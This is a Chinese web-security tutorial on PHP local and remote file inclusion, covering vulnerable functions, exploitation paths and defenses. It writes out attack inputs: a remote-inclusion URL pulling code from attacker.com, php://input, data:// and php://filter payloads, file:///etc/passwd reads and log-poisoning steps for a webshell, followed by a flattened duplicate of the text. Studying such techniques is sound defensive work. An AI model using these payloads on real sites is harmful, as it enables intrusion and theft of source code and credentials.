WEB安全梳理-文件包含
字数 1940 2025-08-12 11:33:43

文件包含漏洞全面解析与防御指南

一、文件包含漏洞概述

文件包含漏洞是指文件包含函数加载的参数未经严格过滤或定义,被用户控制后包含恶意文件,导致执行非预期代码的安全问题。

本地文件包含(LFI)与远程文件包含(RFI)区别

  • 本地文件包含(LFI):包含服务器本地的文件
  • 远程文件包含(RFI):通过HTTP协议包含外部资源
  • 危害对比:RFI > LFI

二、文件包含漏洞的危害

  1. 配合文件上传漏洞获取WebShell
  2. 执行任意脚本代码
  3. 泄露网站源码及配置文件
  4. 远程包含获取WebShell
  5. 控制整个网站甚至服务器

三、利用前提条件

  • allow_url_fopen=On(默认On):允许从远程服务器检索数据
  • allow_url_include=On(PHP5.2+默认Off):允许URL封装协议包含文件

四、常见文件包含函数

PHP

  • include()include_once()
  • require()require_once()
  • fopen()readfile()

注:PHP中这些函数会将任何类型文件作为PHP解析

JSP/Servlet

  • java.io.file()
  • java.io.filereader()
  • 静动态include

ASP

  • include file
  • include virtual

五、PHP中include与require区别

函数 执行时机 文件不存在时的行为
include() 执行到该语句时包含 产生警告,脚本继续
require() 程序运行即包含 产生致命错误,停止脚本

六、文件包含利用思路

  1. 包含敏感配置文件获取信息
  2. 配合图片马获取WebShell
  3. 包含临时文件获取WebShell
  4. 包含session文件获取WebShell
  5. 包含日志文件获取WebShell
  6. 利用PHP伪协议攻击

七、本地文件包含(LFI)利用

1. 基本利用方式

  • 上传图片马并包含
  • 读取网站源码及配置
  • 包含日志文件

2. %00截断利用

条件

  • magic_quotes_gpc=Off
  • PHP版本 < 5.3.4

3. 路径长度截断

条件

  • PHP版本 < 5.2.8
  • Linux:文件名 > 4096
  • Windows:文件名 > 256

4. 包含日志获取WebShell

步骤

  1. 获取日志路径
  2. 触发404错误写入恶意代码
  3. 包含日志文件执行代码

常见日志路径

  • Apache+Linux:/var/log/httpd/access_log
  • Apache+Win:apache\logs\access.log
  • IIS6.0:C:\WINDOWS\system32\Logfiles
  • Nginx:/usr/local/nginx/logs

八、远程文件包含(RFI)利用

1. 利用前提

  • allow_url_fopen=On
  • allow_url_include=On
  • 被包含变量前无目录限制

2. 利用示例

http://victim.com/fi/?page=http://attacker.com/malicious.txt

注:包含远程PHP文件会先被远程服务器解析,建议使用.txt文件

九、PHP伪协议详解

1. php://input

用途:执行POST数据作为PHP代码
条件

  • allow_url_include=On
  • 不能用于multipart/form-data

示例

?file=php://input

POST数据:

<?php phpinfo(); ?>

2. data://

用途:执行编码后的PHP代码
条件allow_url_include=On

示例

?filename=data:text/plain,<?php phpinfo();?>
或
?filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

3. file://

用途:读取本地文件
条件:无特殊要求

示例

?filename=file:///etc/passwd

4. zip://

用途:执行压缩包内PHP文件
条件

  • PHP >= 5.3.0
  • Windows下5.3.0<PHP<5.4

示例

?file=zip://archive.zip%23file.php

5. phar://

用途:执行压缩包内PHP文件
条件:PHP >= 5.3.0

示例

?file=phar://archive.zip/file.php

6. php://filter

用途:读取文件内容
条件:无特殊要求

示例

?filename=php://filter/read=convert.base64-encode/resource=index.php

十、漏洞挖掘方法

  1. 观察URL中路径参数
  2. 使用字典fuzz测试
  3. 尝试包含已知文件
  4. 测试伪协议可用性

十一、防御措施

  1. 关闭危险配置:
    allow_url_fopen=Off
    allow_url_include=Off
    
  2. 过滤特殊字符:
    • ./../
    • 伪协议关键字
  3. 白名单验证包含文件
  4. 设置open_basedir限制访问目录
  5. 保持PHP版本更新

总结

文件包含漏洞是PHP应用中常见的高危漏洞,攻击者可通过多种方式利用该漏洞获取系统权限。防御关键在于严格过滤输入、关闭不必要的功能,并保持系统更新。开发人员应始终遵循最小权限原则,避免直接使用用户输入作为文件包含参数。

文件包含漏洞全面解析与防御指南 一、文件包含漏洞概述 文件包含漏洞是指文件包含函数加载的参数未经严格过滤或定义,被用户控制后包含恶意文件,导致执行非预期代码的安全问题。 本地文件包含(LFI)与远程文件包含(RFI)区别 本地文件包含(LFI) :包含服务器本地的文件 远程文件包含(RFI) :通过HTTP协议包含外部资源 危害对比 :RFI > LFI 二、文件包含漏洞的危害 配合文件上传漏洞获取WebShell 执行任意脚本代码 泄露网站源码及配置文件 远程包含获取WebShell 控制整个网站甚至服务器 三、利用前提条件 allow_url_fopen=On (默认On):允许从远程服务器检索数据 allow_url_include=On (PHP5.2+默认Off):允许URL封装协议包含文件 四、常见文件包含函数 PHP include() 、 include_once() require() 、 require_once() fopen() 、 readfile() 注:PHP中这些函数会将任何类型文件作为PHP解析 JSP/Servlet java.io.file() java.io.filereader() 静动态include ASP include file include virtual 五、PHP中include与require区别 | 函数 | 执行时机 | 文件不存在时的行为 | |------|----------|--------------------| | include() | 执行到该语句时包含 | 产生警告,脚本继续 | | require() | 程序运行即包含 | 产生致命错误,停止脚本 | 六、文件包含利用思路 包含敏感配置文件获取信息 配合图片马获取WebShell 包含临时文件获取WebShell 包含session文件获取WebShell 包含日志文件获取WebShell 利用PHP伪协议攻击 七、本地文件包含(LFI)利用 1. 基本利用方式 上传图片马并包含 读取网站源码及配置 包含日志文件 2. %00截断利用 条件 : magic_quotes_gpc=Off PHP版本 < 5.3.4 3. 路径长度截断 条件 : PHP版本 < 5.2.8 Linux:文件名 > 4096 Windows:文件名 > 256 4. 包含日志获取WebShell 步骤 : 获取日志路径 触发404错误写入恶意代码 包含日志文件执行代码 常见日志路径 : Apache+Linux: /var/log/httpd/access_log Apache+Win: apache\logs\access.log IIS6.0: C:\WINDOWS\system32\Logfiles Nginx: /usr/local/nginx/logs 八、远程文件包含(RFI)利用 1. 利用前提 allow_url_fopen=On allow_url_include=On 被包含变量前无目录限制 2. 利用示例 注:包含远程PHP文件会先被远程服务器解析,建议使用.txt文件 九、PHP伪协议详解 1. php://input 用途 :执行POST数据作为PHP代码 条件 : allow_url_include=On 不能用于 multipart/form-data 示例 : POST数据: 2. data:// 用途 :执行编码后的PHP代码 条件 : allow_url_include=On 示例 : 3. file:// 用途 :读取本地文件 条件 :无特殊要求 示例 : 4. zip:// 用途 :执行压缩包内PHP文件 条件 : PHP >= 5.3.0 Windows下5.3.0<PHP <5.4 示例 : 5. phar:// 用途 :执行压缩包内PHP文件 条件 :PHP >= 5.3.0 示例 : 6. php://filter 用途 :读取文件内容 条件 :无特殊要求 示例 : 十、漏洞挖掘方法 观察URL中路径参数 使用字典fuzz测试 尝试包含已知文件 测试伪协议可用性 十一、防御措施 关闭危险配置: 过滤特殊字符: ./ 、 ../ 伪协议关键字 白名单验证包含文件 设置open_ basedir限制访问目录 保持PHP版本更新 总结 文件包含漏洞是PHP应用中常见的高危漏洞,攻击者可通过多种方式利用该漏洞获取系统权限。防御关键在于严格过滤输入、关闭不必要的功能,并保持系统更新。开发人员应始终遵循最小权限原则,避免直接使用用户输入作为文件包含参数。